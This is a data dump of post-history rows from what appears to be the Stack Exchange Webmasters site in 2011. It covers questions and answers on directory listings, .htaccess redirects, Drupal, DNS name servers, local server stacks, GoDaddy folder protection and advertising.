  <row Id="30230" PostHistoryTypeId="5" PostId="12919" RevisionGUID="21d99432-9dd6-4b60-9e68-0d15acdae0ec" CreationDate="2011-04-30T18:18:06.690" UserId="5718" Comment="added 1545 characters in body" Text="I've decided that the best way to see if a business.com listing is worth the money was to test it out. I've placed PPC ads into several categories and will see if I get any clicks. I should be able to roughly compare the cost of a yearly listing to the equivalent PPC charges. &#xD;&#xA;&#xD;&#xA;If it's worth the money based on referral traffic alone then I will probably make the purchase. However, I don't intend to buy a listing for purely link building reasons as there are many more ways I can do that without having to pay and that are likely to be more effective.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;I set up PPC ads to run in 5 different relevant categoryies and they have been active for the past five days. Although it's a short period of time I would have expeted some form of response but the click count currently stands at... 1! I have observed the following from the campaign:&#xD;&#xA;&#xD;&#xA;1. The current business.com ad manager doesn't report on the number of impressions an ad has received. I'm not sure if they're trying to hide how few times an ad is viewed but it made the decision about value more difficult because I couldn't see if it was my ads not working or the directory itself that was the problem. If they at least told me the CTR then I would be in a better position.&#xD;&#xA;&#xD;&#xA;2. The PPC ads are at the top of the page and I bid high enough to be in the top two results. However, the paid listings are far down the page below the PPC ads, some additional ads (that look like they might be from Google) and some further category navigation links. The ad manager UI indicated that if I bid lower and dropped just one position in the PPC results I would get much less clicks. This means that listings in the categories I chose were very unlikley to have any response at all.&#xD;&#xA;&#xD;&#xA;3. Although some pages have a decent PR (between 4-7), there are a lot of links on the pages so it would be so diluted that the reputation value of a link would be limited.&#xD;&#xA;&#xD;&#xA;Given this I don't see that, in my case (target market, potential categories and back link value), there is any reason to bother spending money on a business.com listing.&#xD;&#xA;" />
  <row Id="30231" PostHistoryTypeId="2" PostId="13140" RevisionGUID="422c67b5-22d1-4c90-afc7-87bf5658134d" CreationDate="2011-04-30T18:47:51.957" UserId="1803" Text="I think I don't properly understood your question, but here is an excerpt from my .htaccess after moving a site from one CMS installation to another:&#xD;&#xA;&#xD;&#xA;    # redirect a single page (in this case the one with category ID 38)&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^[/]?[cms/]+front_content\.php$ [NC]&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^.*idcat=38.*$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ index.php?q=12 [R=301,L,NC]&#xD;&#xA;&#xD;&#xA;    # …a bunch of other redirects (for about 20 pages)&#xD;&#xA;    &#xD;&#xA;    # redirect all other old URLs to the homepage&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^[/]?[cms/]+front_content\.php$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ index.php? [R=301,L,NC]&#xD;&#xA;" />
  <row Id="30232" PostHistoryTypeId="2" PostId="13141" RevisionGUID="2b13641d-e470-4cf8-8a0a-e2ed677bdd99" CreationDate="2011-04-30T18:52:57.973" UserId="1803" Text="Use a TV with the @DOCUMENT binding or the [getField-Snippet][1]. Both methods work for MODx Evolution.&#xD;&#xA;&#xD;&#xA;On MODx-questions, please include whether your are using Evolution or Revolution, since the code base differs heavily, as so does the functionality.&#xD;&#xA;&#xD;&#xA;  [1]: http://modx.com/extras/package/getfield" />
  <row Id="30233" PostHistoryTypeId="5" PostId="13128" RevisionGUID="1fb8d736-4d99-4c14-88b4-95df7987eaa4" CreationDate="2011-04-30T19:46:43.793" UserId="7198" Comment="added 24 characters in body" Text="If you use [reCAPTCHA,][1] you can use their API to log the number of failed attempts (code shown uses the [reCAPTCHA Ruby gem][2]):&#xD;&#xA;&#xD;&#xA;    if validate_recap(params)&#xD;&#xA;          #user validated the captcha, create an account&#xD;&#xA;    else&#xD;&#xA;          #user failed to validate, log the attempt and show a new captcha&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Using the reCAPTCHA library helps digitise books while reducing scripted signups, so it's worth sticking with it, but if you're worried that its affecting signups and want an alternative, you might consider using [Mollom,][3] [Akismet,][4] or [Defensio,][5] all of which attempt to grade form input to assess whether its human or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/recaptcha&#xD;&#xA;  [2]: https://bitbucket.org/mml/ruby-recaptcha/wiki/Home&#xD;&#xA;  [3]: http://mollom.com/&#xD;&#xA;  [4]: http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/&#xD;&#xA;  [5]: http://www.defensio.com/" />
  <row Id="30234" PostHistoryTypeId="2" PostId="13142" RevisionGUID="90cb53fc-3155-49b7-baf9-b445105629bc" CreationDate="2011-04-30T20:42:24.490" UserId="6624" Text="I'd like to chime in for Drupal, which is currently running (for example), the &lt;a href=&quot;http://www.utexas.edu/&quot;&gt;University of Texas at Austin&lt;/a&gt; web site. I worked with it for three years at UT before moving to my current university, which is using the half-baked &quot;OmniUpdate&quot;.&#xD;&#xA;&#xD;&#xA;Drupal is well suited to a higher ed environment.  There is a definite learning curve involved (particularly for your tech staff), but it's quite definitely worth it for its supreme flexibility.&#xD;&#xA;&#xD;&#xA;Some advantages:&#xD;&#xA;&#xD;&#xA; - It can interface with your university LDAP via &lt;a href=&quot;http://drupal.org/node/997082&quot;&gt;LDAP for Drupal 7&lt;/a&gt;&#xD;&#xA; - There a huge variety of modules available to make it do essentially anything you need. The &lt;a href=&quot;http://drupal.org/project/wysiwyg&quot;&gt;Wysiwyg&lt;/a&gt; module is especially important for making it friendlier to content editors.  See also &lt;a href=&quot;http://drupal.org/project/img_assist&quot;&gt;Image Assist&lt;/a&gt;.&#xD;&#xA; - There is a LARGE community of developers working on it, and some highly active &lt;a href=&quot;http://drupal.org/forum&quot;&gt;forums&lt;/a&gt; for support (free, at that).&#xD;&#xA; - It's open source.  If there's a bug, fix it and submit a patch back.&#xD;&#xA;&#xD;&#xA;Some caveats:&#xD;&#xA;&#xD;&#xA; - New Drupal administrators often go crazy with modules.  Resist the urge to install eight bazillion modules. Doing so will degrade your performance.  Pick the ones that you really need.&#xD;&#xA; - It's written in PHP, so if you have legacy apps written in other languages, they may need to be either ported to PHP, or left to run as they are. Of course, you probably can't achieve 100% platform integration regardless of which CMS you choose; higher ed IT environments are just too heterogeneous for that.&#xD;&#xA; - The last time I checked, the permissions model was not as fine-grained as one might hope.  However, I haven't played with it much in Drupal 7, so it may have been improved.  (See multi-site notes, below).&#xD;&#xA;&#xD;&#xA;Some suggestions:&#xD;&#xA;&#xD;&#xA;The book Pro Drupal Development is the best book-length treatment for techy types; Chapter 8 on theming is invaluable.&#xD;&#xA;&#xD;&#xA;**Use Multisite.**  I cannot stress this enough.  A &lt;a href=&quot;http://groups.drupal.org/node/121989&quot;&gt;multi-site&lt;/a&gt; installation will vastly decrease both your administrative and your technical headaches.  Essentially, using a multi-site install lets you have multiple drupal sites, each of which has its own database, permissions, themes, and such, but which share a single set of core files.  When a security patch comes out, you can patch the core files ONCE, and it will affect every site you've got.  As for administration -- if you have a multisite install, and some small group (such as a student group or an academic program other than a department) needs a web site, you can issue them their own Drupal site, which would have access to a pool of pre-made, approved themes, and also have the option of letting them develop a theme of their own.&#xD;&#xA;&#xD;&#xA;At the very least, set up a test site and play with it.  There's no software fee, so there's nothing to keep you from trying it out." />
  <row Id="30235" PostHistoryTypeId="2" PostId="13143" RevisionGUID="21c74726-1b6e-4875-a82d-593bb212e7d7" CreationDate="2011-04-30T20:48:25.127" UserId="7212" Text="The Journeyman geek is correct, this is known as round robin or poor mans loadbalancing. &#xD;&#xA;The siteowner normally has no control over which ip will be returned by the dns server. &#xD;&#xA;&#xD;&#xA;Greg B&#xD;&#xA;&#xD;&#xA;This configuration does not support failover as dns does not account for server availablity.  &#xD;&#xA;" />
  <row Id="30236" PostHistoryTypeId="5" PostId="13142" RevisionGUID="fa2badc9-a168-4f16-8635-159efed294e3" CreationDate="2011-04-30T20:50:48.277" UserId="6624" Comment="more forgotten points" Text="I'd like to chime in for Drupal, which is currently running (for example), the &lt;a href=&quot;http://www.utexas.edu/&quot;&gt;University of Texas at Austin&lt;/a&gt; web site. I worked with it for three years at UT before moving to my current university, which is using the half-baked &quot;OmniUpdate&quot;.&#xD;&#xA;&#xD;&#xA;Drupal is well suited to a higher ed environment.  There is a definite learning curve involved (particularly for your tech staff), but it's quite definitely worth it for its supreme flexibility.&#xD;&#xA;&#xD;&#xA;Some advantages:&#xD;&#xA;&#xD;&#xA; - It can interface with your university LDAP via &lt;a href=&quot;http://drupal.org/node/997082&quot;&gt;LDAP for Drupal 7&lt;/a&gt;&#xD;&#xA; - There a huge variety of modules available to make it do essentially anything you need. The &lt;a href=&quot;http://drupal.org/project/wysiwyg&quot;&gt;Wysiwyg&lt;/a&gt; module is especially important for making it friendlier to content editors.  See also &lt;a href=&quot;http://drupal.org/project/img_assist&quot;&gt;Image Assist&lt;/a&gt;.&#xD;&#xA; - There is a LARGE community of developers working on it, and some highly active &lt;a href=&quot;http://drupal.org/forum&quot;&gt;forums&lt;/a&gt; for support (free, at that).&#xD;&#xA; - It's open source.  If there's a bug, fix it and submit a patch back.&#xD;&#xA;&#xD;&#xA;Some caveats:&#xD;&#xA;&#xD;&#xA; - New Drupal administrators often go crazy with modules.  Resist the urge to install eight bazillion modules. Doing so will degrade your performance.  Pick the ones that you really need.&#xD;&#xA; - It's written in PHP, so if you have legacy apps written in other languages, they may need to be either ported to PHP, or left to run as they are. Of course, you probably can't achieve 100% platform integration regardless of which CMS you choose; higher ed IT environments are just too heterogeneous for that.&#xD;&#xA; - The last time I checked, the permissions model was not as fine-grained as one might hope.  However, I haven't played with it much in Drupal 7, so it may have been improved.  (See multi-site notes, below).&#xD;&#xA;&#xD;&#xA;Some suggestions:&#xD;&#xA;&#xD;&#xA;The book Pro Drupal Development is the best book-length treatment for techy types; Chapter 8 on theming is invaluable.&#xD;&#xA;&#xD;&#xA;**Use Multisite.**  I cannot stress this enough.  A &lt;a href=&quot;http://groups.drupal.org/node/121989&quot;&gt;multi-site&lt;/a&gt; installation will vastly decrease both your administrative and your technical headaches.  Essentially, using a multi-site install lets you have multiple drupal sites, each of which has its own database, permissions, themes, and such, but which share a single set of core files.  When a security patch comes out, you can patch the core files ONCE, and it will affect every site you've got.  As for administration -- if you have a multisite install, and some small group (such as a student group or an academic program other than a department) needs a web site, you can issue them their own Drupal site, which would have access to a pool of pre-made, approved themes, and also have the option of letting them develop a theme of their own.  Lastly, multi-site helps alleviate the problem of the permissions model.  Since the permissions are specific to a given site, you can segment your web presence into several related sites that share a single theme, so that you could give full admin privileges to a one user for a specific site (e.g., a department, or such).&#xD;&#xA;&#xD;&#xA;At the very least, set up a test site and play with it.  There's no software fee, so there's nothing to keep you from trying it out." />
  <row Id="30238" PostHistoryTypeId="17" PostId="13146" RevisionGUID="76aaf92e-cc99-4f4b-92f6-13189e9f2335" CreationDate="2011-04-30T20:56:50.240" UserId="-1" Comment="from http://stackoverflow.com/questions/5844410/how-to-edit-name-servers/5844444#5844444" Text="" />
  <row Id="30239" PostHistoryTypeId="17" PostId="13147" RevisionGUID="9e687c84-cc58-4018-a063-d74282e38bbb" CreationDate="2011-04-30T20:56:50.240" UserId="-1" Comment="from http://stackoverflow.com/questions/5844410/how-to-edit-name-servers/5844470#5844470" Text="" />
  <row Id="30240" PostHistoryTypeId="2" PostId="13146" RevisionGUID="bb82d030-eaa7-46aa-a887-296265e5d9a5" CreationDate="2011-04-30T20:32:06.523" UserDisplayName="yoyomommy" Text="The name servers tell the domain where the files are hosted basically. Go to where the files are hosted and get the name servers for the host and then add those to the name servers for the domain (you will enter these where you bought the domain). After that you need to add the domain into your hosting account (usually can be done in your cpanel). When this is done it can take up to 24 hours for this to work (although it does not normally take more than 1 min). If you are still not able to see your site after this it's probably because your browser cache needs to be cleared." />
  <row Id="30241" PostHistoryTypeId="2" PostId="13147" RevisionGUID="383574ea-a100-4da7-badd-cf23fe2f8fd0" CreationDate="2011-04-30T20:36:55.327" UserDisplayName="user732731" Text="The DNS servers (domain name servers) are the directories that know what your domains are pointing at. To point your domain to your website you need to change the records inside the DNS. Probably you want to change the A record named @ to point at your website ip address, and then have www point at @.&#xD;&#xA;&#xD;&#xA;Some registrars will offer some kind of web interface to do this. If yours don't, and you still can change the name servers themselves, you may want to change it to point at one who does. " />
  <row Id="30242" PostHistoryTypeId="2" PostId="13145" RevisionGUID="670c5390-098c-4c7c-9c64-34cb925779bd" CreationDate="2011-04-30T20:24:34.803" UserDisplayName="Xcoder" Text="I purchased a domain name for my website but the files are hosted some other place. The domain registration website show four name servers addresses. What are these. Can I forward my domain to a specific url by modifying these name servers. " />
  <row Id="30243" PostHistoryTypeId="1" PostId="13145" RevisionGUID="670c5390-098c-4c7c-9c64-34cb925779bd" CreationDate="2011-04-30T20:24:34.803" UserDisplayName="Xcoder" Text="How to edit name servers" />
  <row Id="30244" PostHistoryTypeId="3" PostId="13145" RevisionGUID="670c5390-098c-4c7c-9c64-34cb925779bd" CreationDate="2011-04-30T20:24:34.803" UserDisplayName="Xcoder" Text="&lt;dns&gt;&lt;nameserver&gt;" />
  <row Id="30245" PostHistoryTypeId="17" PostId="13145" RevisionGUID="c2618611-4b22-447a-a90e-975f309b98c2" CreationDate="2011-04-30T20:56:50.240" UserId="-1" Comment="from http://stackoverflow.com/questions/5844410/how-to-edit-name-servers" Text="" />
  <row Id="30246" PostHistoryTypeId="2" PostId="13148" RevisionGUID="23a13d94-a813-4abe-ab1b-57adcdb8426e" CreationDate="2011-04-30T21:03:40.047" UserId="5614" Text="I would like to hear your thoughts on which would be better for beginners and easier to use and maintain in the long run. I'm going to build a website in MODx but I haven't started so I thought I would ask about this first." />
  <row Id="30247" PostHistoryTypeId="1" PostId="13148" RevisionGUID="23a13d94-a813-4abe-ab1b-57adcdb8426e" CreationDate="2011-04-30T21:03:40.047" UserId="5614" Text="Wampserver VS XAMPP?" />
  <row Id="30248" PostHistoryTypeId="3" PostId="13148" RevisionGUID="23a13d94-a813-4abe-ab1b-57adcdb8426e" CreationDate="2011-04-30T21:03:40.047" UserId="5614" Text="&lt;server&gt;" />
  <row Id="30249" PostHistoryTypeId="25" PostId="13145" RevisionGUID="d5c4aaec-3c00-4a1a-b5ca-0d6905bf3d50" CreationDate="2011-04-30T21:11:18.997" Comment="http://twitter.com/#!/StackWebmasters/status/64436690894336000" />
  <row Id="30250" PostHistoryTypeId="5" PostId="13142" RevisionGUID="f9739ebe-b5d2-4305-8382-6f379884f935" CreationDate="2011-04-30T21:14:31.907" UserId="6624" Comment="typo" Text="I'd like to chime in for Drupal, which is currently running (for example), the &lt;a href=&quot;http://www.utexas.edu/&quot;&gt;University of Texas at Austin&lt;/a&gt; web site. I worked with it for three years at UT before moving to my current university, which is using the half-baked &quot;OmniUpdate&quot;.&#xD;&#xA;&#xD;&#xA;Drupal is well suited to a higher ed environment.  There is a definite learning curve involved (particularly for your tech staff), but it's quite definitely worth it for its supreme flexibility.&#xD;&#xA;&#xD;&#xA;Some advantages:&#xD;&#xA;&#xD;&#xA; - It can interface with your university LDAP via &lt;a href=&quot;http://drupal.org/node/997082&quot;&gt;LDAP for Drupal 7&lt;/a&gt;&#xD;&#xA; - There are a huge variety of modules available to make it do essentially anything you need. The &lt;a href=&quot;http://drupal.org/project/wysiwyg&quot;&gt;Wysiwyg&lt;/a&gt; module is especially important for making it friendlier to content editors.  See also &lt;a href=&quot;http://drupal.org/project/img_assist&quot;&gt;Image Assist&lt;/a&gt;.&#xD;&#xA; - There is a LARGE community of developers working on it, and some highly active &lt;a href=&quot;http://drupal.org/forum&quot;&gt;forums&lt;/a&gt; for support (free, at that).&#xD;&#xA; - It's open source.  If there's a bug, fix it and submit a patch back.&#xD;&#xA;&#xD;&#xA;Some caveats:&#xD;&#xA;&#xD;&#xA; - New Drupal administrators often go crazy with modules.  Resist the urge to install eight bazillion modules. Doing so will degrade your performance.  Pick the ones that you really need.&#xD;&#xA; - It's written in PHP, so if you have legacy apps written in other languages, they may need to be either ported to PHP, or left to run as they are. Of course, you probably can't achieve 100% platform integration regardless of which CMS you choose; higher ed IT environments are just too heterogeneous for that.&#xD;&#xA; - The last time I checked, the permissions model was not as fine-grained as one might hope.  However, I haven't played with it much in Drupal 7, so it may have been improved.  (See multi-site notes, below).&#xD;&#xA;&#xD;&#xA;Some suggestions:&#xD;&#xA;&#xD;&#xA;The book Pro Drupal Development is the best book-length treatment for techy types; Chapter 8 on theming is invaluable.&#xD;&#xA;&#xD;&#xA;**Use Multisite.**  I cannot stress this enough.  A &lt;a href=&quot;http://groups.drupal.org/node/121989&quot;&gt;multi-site&lt;/a&gt; installation will vastly decrease both your administrative and your technical headaches.  Essentially, using a multi-site install lets you have multiple drupal sites, each of which has its own database, permissions, themes, and such, but which share a single set of core files.  When a security patch comes out, you can patch the core files ONCE, and it will affect every site you've got.  As for administration -- if you have a multisite install, and some small group (such as a student group or an academic program other than a department) needs a web site, you can issue them their own Drupal site, which would have access to a pool of pre-made, approved themes, and also have the option of letting them develop a theme of their own.  Lastly, multi-site helps alleviate the problem of the permissions model.  Since the permissions are specific to a given site, you can segment your web presence into several related sites that share a single theme, so that you could give full admin privileges to a one user for a specific site (e.g., a department, or such).&#xD;&#xA;&#xD;&#xA;At the very least, set up a test site and play with it.  There's no software fee, so there's nothing to keep you from trying it out." />
  <row Id="30251" PostHistoryTypeId="2" PostId="13149" RevisionGUID="a9cd18a9-89f3-40eb-ac6b-f65fcc93bdaa" CreationDate="2011-04-30T21:17:15.643" UserId="7213" Text="I unchecked the read permissions for a folder I have on a Godaddy Windows shared host that I want password protected and it worked first time but since going back I get 500 (Internal Server) Error. Thought it might be cache something so tried hard refresh but nothing." />
  <row Id="30252" PostHistoryTypeId="1" PostId="13149" RevisionGUID="a9cd18a9-89f3-40eb-ac6b-f65fcc93bdaa" CreationDate="2011-04-30T21:17:15.643" UserId="7213" Text="Unchecked read permissions for folder to password protect but now get 500(Internal Server Error)" />
  <row Id="30253" PostHistoryTypeId="3" PostId="13149" RevisionGUID="a9cd18a9-89f3-40eb-ac6b-f65fcc93bdaa" CreationDate="2011-04-30T21:17:15.643" UserId="7213" Text="&lt;web-hosting&gt;&lt;godaddy&gt;&lt;windows&gt;&lt;iis&gt;" />
  <row Id="30254" PostHistoryTypeId="2" PostId="13150" RevisionGUID="fdc28fbe-9812-489b-a2b6-74b533b1b159" CreationDate="2011-04-30T22:05:51.353" UserId="5809" Text="When people email me to &quot;sponsor&quot; or buy a blog post, is that illigal according to google rules?&#xD;&#xA;&#xD;&#xA;Or is it only illegal when they request a straight up link placement in exchange for cash?&#xD;&#xA;&#xD;&#xA;Also, will Google penalize me in terms of SEO if I have those sponsored blog posts?  Do they frown on such things?" />
  <row Id="30255" PostHistoryTypeId="1" PostId="13150" RevisionGUID="fdc28fbe-9812-489b-a2b6-74b533b1b159" CreationDate="2011-04-30T22:05:51.353" UserId="5809" Text="Is it against Google Webmaster Policy to accept paid guest blog posts?" />
  <row Id="30256" PostHistoryTypeId="3" PostId="13150" RevisionGUID="fdc28fbe-9812-489b-a2b6-74b533b1b159" CreationDate="2011-04-30T22:05:51.353" UserId="5809" Text="&lt;seo&gt;&lt;google&gt;&lt;links&gt;" />
  <row Id="30257" PostHistoryTypeId="2" PostId="13151" RevisionGUID="dea4e922-0529-45fc-abf9-d1609dcdcfb4" CreationDate="2011-04-30T22:41:36.480" UserId="3506" Text="	&#xD;&#xA;I'll try to say it other way.. It's too risky for them to take into consideration such kind of reports.. Imagine the following situation: I have a blog. You don't know me. Now I'll write a review for your website, I'll post it to my blog, I'll photoshop a screenshot of my paypal transactions, I'll put your name there, and then I'll report to google. :) how does this sound to you ?... But, if google indexes thousands of links coming from blogs, I think this may raise some questions...&#xD;&#xA;&#xD;&#xA;The only thing you should worry about are the TOS agreements and so on.. " />
  <row Id="30258" PostHistoryTypeId="25" PostId="13150" RevisionGUID="92c1b6b1-7318-40a6-beb6-d6c779ce2654" CreationDate="2011-05-01T00:11:18.757" Comment="http://twitter.com/#!/StackWebmasters/status/64481988635148288" />
  <row Id="30260" PostHistoryTypeId="2" PostId="13152" RevisionGUID="f1128734-e15a-49ce-b341-9c06bad1cb40" CreationDate="2011-05-01T02:42:07.180" UserId="3514" Text="Personally, I think that neither is easier.&#xD;&#xA;&#xD;&#xA;If you're going to be running a server just for you to test on while you develop the site,  I would suggest [EasyPHP][1] (the latest version isn't working so well for me, I suggest using [5.3.2i][2] (you can also [see other older versions][3])). The reason is because EasyPHP is, like the name implies, easy to use and setup. It doesn't come with anything other than apache, php, mysql and phpmyadmin, and you can configure it to your heart's content (granted, you can configure Wampserver and XAMPP to your heart's content in the exact same ways, they're not as simple as EasyPHP).&#xD;&#xA;&#xD;&#xA;My reason for not using Wampserver is because it (on the two machines I used it on) freezes frequently, and slows down your system a whole bundle.&#xD;&#xA;&#xD;&#xA;My reason against XAMPP is similar, except that XAMPP has a reason for slowing your computer down where Wampserver doesn't, it's got way too many features for a simple testing server on your development machine. You don't need to have an ftp server or mail server setup for a simple development machine.&#xD;&#xA;&#xD;&#xA;If you're going to be using the computer as a web server to the general public, I wouldn't use any precompiled packages, but install each thing you need separately, from their respective sources, because it will generally lead to a better setup and smoother running machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.easyphp.org/&#xD;&#xA;  [2]: http://sourceforge.net/projects/quickeasyphp/files/EasyPHP/5.3.2i/&#xD;&#xA;  [3]: http://sourceforge.net/projects/quickeasyphp/files/EasyPHP/" />
  <row Id="30261" PostHistoryTypeId="25" PostId="13148" RevisionGUID="e465c4d2-71d9-4947-877a-6c0ba64afa07" CreationDate="2011-05-01T03:11:18.797" Comment="http://twitter.com/#!/StackWebmasters/status/64527287718125568" />
  <row Id="30262" PostHistoryTypeId="2" PostId="13153" RevisionGUID="8e034045-f426-455c-855a-dcc546d9fe08" CreationDate="2011-05-01T04:31:53.833" UserId="2481" Text="It is the CSS that provides that skin for HTML, not HTML itself. HTML is about structure while CSS is about visual presentation. You can clearly have that look with just HTML 3.2 - really! " />
  <row Id="30263" PostHistoryTypeId="25" PostId="13149" RevisionGUID="2d10dd7c-c5c9-43af-8f2c-0604cd00b451" CreationDate="2011-05-01T06:11:19.457" Comment="http://twitter.com/#!/StackWebmasters/status/64572588139089920" />
  <row Id="30264" PostHistoryTypeId="17" PostId="13155" RevisionGUID="f76bbfb0-8a1d-4c43-986e-c20fdb8d458d" CreationDate="2011-05-01T07:08:02.230" UserId="-1" Comment="from http://serverfault.com/questions/265134/apache-rewrite-htaccess-google-adwords-gclid/265140#265140" Text="" />
  <row Id="30265" PostHistoryTypeId="2" PostId="13155" RevisionGUID="3dc7241c-1023-4ec7-b9b9-86894db9e351" CreationDate="2011-05-01T02:34:37.367" UserDisplayName="djdrey" Text="This is pretty much answered in concept at least here: http://stackoverflow.com/questions/2111182/rewriting-url-with-selected-query-string-parameters-in-htaccess" />
  <row Id="30266" PostHistoryTypeId="2" PostId="13154" RevisionGUID="4eb97a94-4428-4a8d-bccd-6a684c50fe6c" CreationDate="2011-05-01T02:05:11.377" UserDisplayName="Jeffrey" Text="I've got an url coming in as:&#xD;&#xA;&#xD;&#xA;    /index.php?/location/&amp;gclid=287ejek22kj&#xD;&#xA;&#xD;&#xA;This is going to a 404 page because of the gclid... &#xD;&#xA;&#xD;&#xA;I need it to go to:&#xD;&#xA;&#xD;&#xA;    /index.php?/location&#xD;&#xA;&#xD;&#xA;I've tried this, with no success:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^(.*)&amp;gclid=(.*)$  $1 [L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;All help is appreciated. Thanks." />
  <row Id="30267" PostHistoryTypeId="1" PostId="13154" RevisionGUID="4eb97a94-4428-4a8d-bccd-6a684c50fe6c" CreationDate="2011-05-01T02:05:11.377" UserDisplayName="Jeffrey" Text="apache rewrite .htaccess google adwords gclid" />
  <row Id="30268" PostHistoryTypeId="3" PostId="13154" RevisionGUID="4eb97a94-4428-4a8d-bccd-6a684c50fe6c" CreationDate="2011-05-01T02:05:11.377" UserDisplayName="Jeffrey" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;lamp&gt;&lt;rewrite&gt;&lt;google&gt;" />
  <row Id="30269" PostHistoryTypeId="17" PostId="13154" RevisionGUID="f2dd0152-98bf-442b-8b95-ed65319f7bc3" CreationDate="2011-05-01T07:08:02.230" UserId="-1" Comment="from http://serverfault.com/questions/265134/apache-rewrite-htaccess-google-adwords-gclid" Text="" />
  <row Id="30270" PostHistoryTypeId="2" PostId="13156" RevisionGUID="8768e074-abc2-4949-8538-643609b1a261" CreationDate="2011-05-01T07:22:15.977" UserId="6198" Text="a CDN is just a simple network of computers distributed all around the world delivering content like images when quired by a client. They often provide from the best available network considering place and availability. They reduce the load on the main server to let the server query the database fast enough to load the site faster.&#xD;&#xA;&#xD;&#xA;Imagine that:&#xD;&#xA;Your site is hosted on a shared hosting like GoDaddy.&#xD;&#xA;You use Wordpress for your blog.&#xD;&#xA;It takes time to query the database every time a person comes on your website.&#xD;&#xA;You setup a CDN like Amazon S3.&#xD;&#xA;Your photos and videos get transfered there.&#xD;&#xA;So when someone comes on your website now, the page will be made by getting the text and all database stuff from your godaddy hosting and all the photos and videos and also CSS from your amazon hosting.&#xD;&#xA;&#xD;&#xA;That makes your site load much faster.&#xD;&#xA;&#xD;&#xA;The difference is a CDN cannot dynamically make pages on the go. So you cannot use a page which is build in PHP or any other language. However you can use pages made in HTML." />
  <row Id="30271" PostHistoryTypeId="2" PostId="13157" RevisionGUID="656f82ec-0780-4c04-9fc1-c5a008eb100a" CreationDate="2011-05-01T07:25:09.843" UserId="6198" Text="to password protect a directory on godaddy, don't change the permissions. go to godaddy hosting ftp file manager and select the folder and click on protect. Click on the password protection tab and put a password.&#xD;&#xA;&#xD;&#xA;BTW you need an HTACCESS and HTPASSWD file rather than changing permissions. GoDaddy will create it for you when you select the password protection option." />
  <row Id="30272" PostHistoryTypeId="2" PostId="13158" RevisionGUID="f4b61179-ec44-4ab5-9ca8-89653ce715fb" CreationDate="2011-05-01T07:53:00.803" UserId="6630" Text="First you should login into your account at which you got your domain name.&#xD;&#xA;Then get(learn) the nameservers of your hosting company.After learning your hosting firm nameservers add them into your domain by using your domain management page." />
  <row Id="30273" PostHistoryTypeId="2" PostId="13159" RevisionGUID="0af39cf6-3905-45ea-9da7-67bfe92abd54" CreationDate="2011-05-01T08:08:41.780" UserId="5437" Text="is it worth while to advertise using Bing's adcenter if I already have google's adwords?" />
  <row Id="30274" PostHistoryTypeId="1" PostId="13159" RevisionGUID="0af39cf6-3905-45ea-9da7-67bfe92abd54" CreationDate="2011-05-01T08:08:41.780" UserId="5437" Text="Bing vs google advertising" />
  <row Id="30275" PostHistoryTypeId="3" PostId="13159" RevisionGUID="0af39cf6-3905-45ea-9da7-67bfe92abd54" CreationDate="2011-05-01T08:08:41.780" UserId="5437" Text="&lt;seo&gt;" />
  <row Id="30276" PostHistoryTypeId="2" PostId="13160" RevisionGUID="b9b39e14-dd46-4959-a110-e528b090b9c0" CreationDate="2011-05-01T08:10:02.917" UserId="5437" Text="Try these:&lt;br/&gt;&#xD;&#xA;http://phpimagegallery.com/ &lt;br/&gt;&#xD;&#xA;http://gallery.menalto.com/" />
  <row Id="30277" PostHistoryTypeId="2" PostId="13161" RevisionGUID="3b28137c-c1c3-4d62-8ef0-4ee795fdb13a" CreationDate="2011-05-01T08:57:09.010" UserId="7111" Text="It depends on your budget, and how much you're willing to spend on advertising. Both are highly used search engines. You could always try a small ad campaign on Bing and after a week or two decide if it's worth it or not." />
  <row Id="30278" PostHistoryTypeId="2" PostId="13162" RevisionGUID="ff44c3be-6933-4260-8585-b35ea2755da1" CreationDate="2011-05-01T09:00:22.680" UserId="7045" Text="In my opinion it definitely is. You can run very cost effective ad campaigns on Bing. Quite often people focus solely on Google and don't worry about other ad networks which leads to lesser competition. Your mileage may vary, but I would recommend at the very least testing it. Good luck!" />
  <row Id="30279" PostHistoryTypeId="6" PostId="13159" RevisionGUID="6553c58e-d5a7-440f-9c09-24a74227485d" CreationDate="2011-05-01T09:08:06.210" UserId="4502" Comment="edited tags" Text="&lt;advertising&gt;&lt;adwords&gt;" />
  <row Id="30280" PostHistoryTypeId="25" PostId="13159" RevisionGUID="c0b126f9-c056-4fab-834f-2f5fa57b8269" CreationDate="2011-05-01T09:11:19.623" Comment="http://twitter.com/#!/StackWebmasters/status/64617887888965632" />
  <row Id="30281" PostHistoryTypeId="2" PostId="13163" RevisionGUID="5ed12730-d550-4b20-87cf-16f2d15a0d70" CreationDate="2011-05-01T11:17:40.253" UserId="7164" Text="I heard that putting the javascript in the html code isn't good for SEO and that it's better to put it in a .js file. It's clear that it makes the code more understandable but is it the only reason?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30282" PostHistoryTypeId="1" PostId="13163" RevisionGUID="5ed12730-d550-4b20-87cf-16f2d15a0d70" CreationDate="2011-05-01T11:17:40.253" UserId="7164" Text="Javascript in HTML vs in a .js file" />
  <row Id="30283" PostHistoryTypeId="3" PostId="13163" RevisionGUID="5ed12730-d550-4b20-87cf-16f2d15a0d70" CreationDate="2011-05-01T11:17:40.253" UserId="7164" Text="&lt;html&gt;&lt;javascript&gt;" />
